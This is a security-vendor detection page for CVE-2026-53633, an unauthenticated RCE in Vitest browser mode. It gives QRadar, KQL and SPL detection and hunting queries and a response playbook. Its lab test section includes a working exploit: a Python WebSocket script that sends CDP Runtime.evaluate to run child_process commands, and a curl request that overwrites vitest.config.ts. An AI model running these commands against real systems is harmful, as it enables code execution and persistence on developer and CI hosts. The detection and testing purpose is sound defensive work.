CVE-2026-53633 IBM QRadar · QRadar

Detect CVE-2026-53633: Vitest Browser Mode API RCE via CDP Proxy and Config Overwrite in IBM QRadar

CVE-2026-53633 is a critical (CVSS 9.8) remote code execution vulnerability in @vitest/browser and vite-plus packages. The browser mode API is exposed without adequate authorization controls (CWE-749, CWE-862), allowing unauthenticated attackers to proxy Chrome DevTools Protocol (CDP) commands and overwrite configuration files. This can lead to arbitrary code execution on the host running Vitest in browser mode. Affected versions include @vitest/browser >= 3.0.0 <= 3.2.4, >= 4.0.0 <= 4.1.7, >= 5.0.0-beta.0 <= 5.0.0-beta.3, and vite-plus <= 0.1.23. A public PoC exists.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence Privilege Escalation

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT
  sourceip,
  destinationip,
  destinationport,
  URL,
  starttime,
  CATEGORYNAME(category) AS category_name,
  eventcount
FROM events
WHERE
  LOGSOURCETYPENAME(devicetype) IN ('Apache HTTP Server', 'Nginx', 'F5 BIG-IP', 'Palo Alto Networks Firewall')
  AND destinationport IN (51204, 51205, 5173, 5174, 4173)
  AND (
    URL IMATCHES '.*(__vitest_api__|__vitest__|/cdp|/json|/ws).*'
    OR URL IMATCHES '.*(Runtime\.evaluate|Page\.navigate|Target\.attachToTarget|IO\.read).*'
    OR URL IMATCHES '.*\.(env|config\.js|config\.ts|config\.mjs|config\.cjs).*'
  )
  AND NOT INCIDR(sourceip, '10.0.0.0/8')
  AND NOT INCIDR(sourceip, '172.16.0.0/12')
  AND NOT INCIDR(sourceip, '192.168.0.0/16')
  AND DATEFORMAT(starttime, 'YYYY-MM-dd') >= DATEFORMAT(NOW() - 86400000, 'YYYY-MM-dd')
ORDER BY starttime DESC
LIMIT 1000
critical severity medium confidence

QRadar AQL query detecting external source IPs accessing Vitest browser mode API paths and CDP endpoints on known Vitest ports, flagging potential CVE-2026-53633 exploitation from untrusted networks.

Data Sources

QRadar Network ActivityWeb Application Firewall logsProxy logs

Required Tables

events

False Positives & Tuning

  • Developers working remotely through VPN whose exit IP appears external to the detection rule
  • Penetration testing engagements targeting development environments
  • Automated dependency scanning tools that probe package-related ports

Other platforms for CVE-2026-53633

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Vitest Browser Mode CDP Discovery via /json Endpoint

    Expected signal: HTTP GET requests to /json and /__vitest_api__/ on ports 51204 or 5173 from an external source IP visible in web server or proxy logs

  2. Test 2CDP Runtime.evaluate Arbitrary JavaScript Execution via Vitest Browser API

    Expected signal: WebSocket upgrade request to /devtools/page/<id> followed by CDP Runtime.evaluate method in request payload visible in network capture

  3. Test 3Vitest Config File Overwrite via Exposed API

    Expected signal: HTTP POST to /__vitest_api__ with writeFile method in request body; filesystem audit log showing vitest.config.ts modification timestamp updated outside normal developer hours

Last updated: 2026-06-30 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify the source IP and destination host of the suspicious request; determine if the destination is a developer workstation, CI runner, or production-adjacent system running Vitest in browser mode
  2. Inspect the HTTP request path and query parameters for CDP command patterns (Runtime.evaluate, Page.navigate, Target.attachToTarget) or config file paths (.env, vitest.config.*, vite.config.*) to assess exploitation stage
  3. Check the @vitest/browser and vite-plus package versions installed on the affected host using 'npm ls @vitest/browser' and 'npm ls vite-plus' to confirm whether a vulnerable version is present
  4. Review process ancestry on the affected host: determine if node processes spawned child processes (shell, interpreter) following the suspicious network activity, which would indicate successful RCE

Containment

  1. Immediately block external network access to Vitest browser mode ports (default 51204, 5173, 5174, 4173) via firewall rules or security group modification; Vitest browser mode should never be reachable from untrusted networks
  2. If RCE is confirmed or suspected, isolate the affected host from the network and escalate to incident response; terminate all Vitest and Node.js processes on the host pending investigation

Evidence Collection

  1. Collect web server or reverse proxy access logs for the affected Vitest port covering the 48 hours preceding detection, filtering for requests to /__vitest_api__/, /cdp, /json, and WebSocket upgrade requests
  2. Capture the filesystem state of the project directory on the affected host, specifically vitest.config.*, vite.config.*, .env files, and node_modules/@vitest/browser/, to identify any unauthorised config overwrites

Escalation Criteria

  • !Escalate immediately if any Node.js or shell child processes were spawned from the Vitest server process following external network activity — this confirms RCE and requires full incident response activation
  • !Escalate if config file modification timestamps correlate with the suspicious network requests, indicating successful write-access exploitation of the vulnerability

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >HTTP access logs showing requests to /__vitest_api__/ or /__vitest__/ endpoints from non-localhost IPs
  • >Modified timestamps on vitest.config.ts, vite.config.ts, or .env files that do not correspond to developer commits
  • >node_modules/@vitest/browser/package.json — inspect version field to confirm vulnerable release
  • >Process creation events showing node spawning sh, bash, cmd.exe, or powershell.exe during or after suspicious network activity

Tuning Guidance

Reduce false positives by allowlisting known CI/CD runner IPs and developer VPN egress ranges from the external IP checks. Scope port-based detections to assets tagged as development or test infrastructure rather than production hosts. If Vitest is used in containerised CI only, consider adding container orchestration network CIDRs to the exclusion list. For highest-fidelity detection, combine the network-layer queries with process-level telemetry confirming a vulnerable @vitest/browser version is loaded.

Hunting Queries

Hunt for Node.js processes running Vitest in browser mode bound to all interfaces (0.0.0.0) or on known Vitest ports, which creates the attack surface for CVE-2026-53633 exploitation

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated >= ago(7d)
| where FileName in ("node", "node.exe")
| where ProcessCommandLine contains "vitest" and ProcessCommandLine contains "--browser"
| extend ParentIsShell = ParentProcessName in ("bash", "sh", "zsh", "cmd.exe", "powershell.exe", "pwsh.exe")
| project TimeGenerated, DeviceName, AccountName, ProcessCommandLine, ParentProcessName, ParentCommandLine, ParentIsShell
| where ParentIsShell or ProcessCommandLine contains "--port 0" or ProcessCommandLine contains "--host 0.0.0.0"
Hunting — SPL
spl 
index=endpoint sourcetype=crowdstrike:events:sensor earliest=-7d
| where event_simpleName="ProcessRollup2"
| where ImageFileName LIKE "%node%"
| where CommandLine LIKE "%vitest%" AND CommandLine LIKE "%browser%"
| eval bound_all_interfaces=if(match(CommandLine, "host.{0,10}0\.0\.0\.0"), 1, 0)
| eval explicit_port=if(match(CommandLine, "port.{0,10}(51204|5173|5174|4173)"), 1, 0)
| where bound_all_interfaces=1 OR explicit_port=1
| table _time, ComputerName, UserName, CommandLine, ParentImageFileName

Atomic Red Team Tests

Test 1 Vitest Browser Mode CDP Discovery via /json Endpoint
linux

Simulates an attacker discovering exposed Vitest browser mode CDP by querying the /json endpoint, which lists available debugging targets without authentication. This is the reconnaissance phase of CVE-2026-53633 exploitation.

Command

bash 
# Lab only — requires Vitest >= 3.0.0 <= 3.2.4 running in browser mode
curl -s http://TARGET_HOST:51204/json | python3 -m json.tool
# Also check:
curl -s http://TARGET_HOST:51204/json/version
curl -s http://TARGET_HOST:5173/__vitest_api__/

Cleanup

bash 
No cleanup required — read-only reconnaissance request

Expected Telemetry

HTTP GET requests to /json and /__vitest_api__/ on ports 51204 or 5173 from an external source IP visible in web server or proxy logs

Expected Detection

Alert triggered on network detection rules matching Vitest port + CDP discovery path combination

Test 2 CDP Runtime.evaluate Arbitrary JavaScript Execution via Vitest Browser API
linux

Exploits the unauthenticated CDP proxy in Vitest browser mode to evaluate arbitrary JavaScript in the browser context, demonstrating the RCE primitive enabled by CVE-2026-53633.

Command

bash 
# Lab only — requires vulnerable @vitest/browser running with --browser flag
# Step 1: Get target ID
TARGET_ID=$(curl -s http://TARGET_HOST:51204/json | python3 -c "import sys,json; print(json.load(sys.stdin)[0]['id'])")
# Step 2: Open WebSocket and send CDP command
python3 -c "
import websocket, json, sys
ws = websocket.create_connection('ws://TARGET_HOST:51204/devtools/page/' + sys.argv[1])
ws.send(json.dumps({'id':1,'method':'Runtime.evaluate','params':{'expression':'require(\"child_process\").execSync(\"id\").toString()','returnByValue':True}}))
print(ws.recv())
" "$TARGET_ID"

Cleanup

bash 
Close WebSocket connection; no persistent changes to target

Expected Telemetry

WebSocket upgrade request to /devtools/page/<id> followed by CDP Runtime.evaluate method in request payload visible in network capture

Expected Detection

EQL sequence rule fires on discovery followed by CDP command; CrowdStrike CQL correlates Node.js process network activity

Test 3 Vitest Config File Overwrite via Exposed API
linux

Demonstrates the config file overwrite vector of CVE-2026-53633 by sending a crafted request to the Vitest browser mode API to write a malicious vitest.config.ts, enabling persistence or further exploitation.

Command

bash 
# Lab only — requires vulnerable @vitest/browser running
# Overwrite vitest config via API (exact path depends on Vitest version internals)
curl -s -X POST http://TARGET_HOST:5173/__vitest_api__ \
  -H 'Content-Type: application/json' \
  -d '{"method":"writeFile","params":{"path":"vitest.config.ts","content":"import {defineConfig} from \"vitest/config\"; export default defineConfig({test:{setupFiles:[\"/tmp/malicious.ts\"]}})"}}'

Cleanup

bash 
Restore original vitest.config.ts from version control: git checkout vitest.config.ts

Expected Telemetry

HTTP POST to /__vitest_api__ with writeFile method in request body; filesystem audit log showing vitest.config.ts modification timestamp updated outside normal developer hours

Expected Detection

Sumo Logic and Splunk queries fire on config file path in URI; file integrity monitoring alert on vitest.config.ts modification

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003PersistenceTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1059.006PythonT1565.001Stored Data Manipulation

Same Tactic: Initial Access

Popular Detections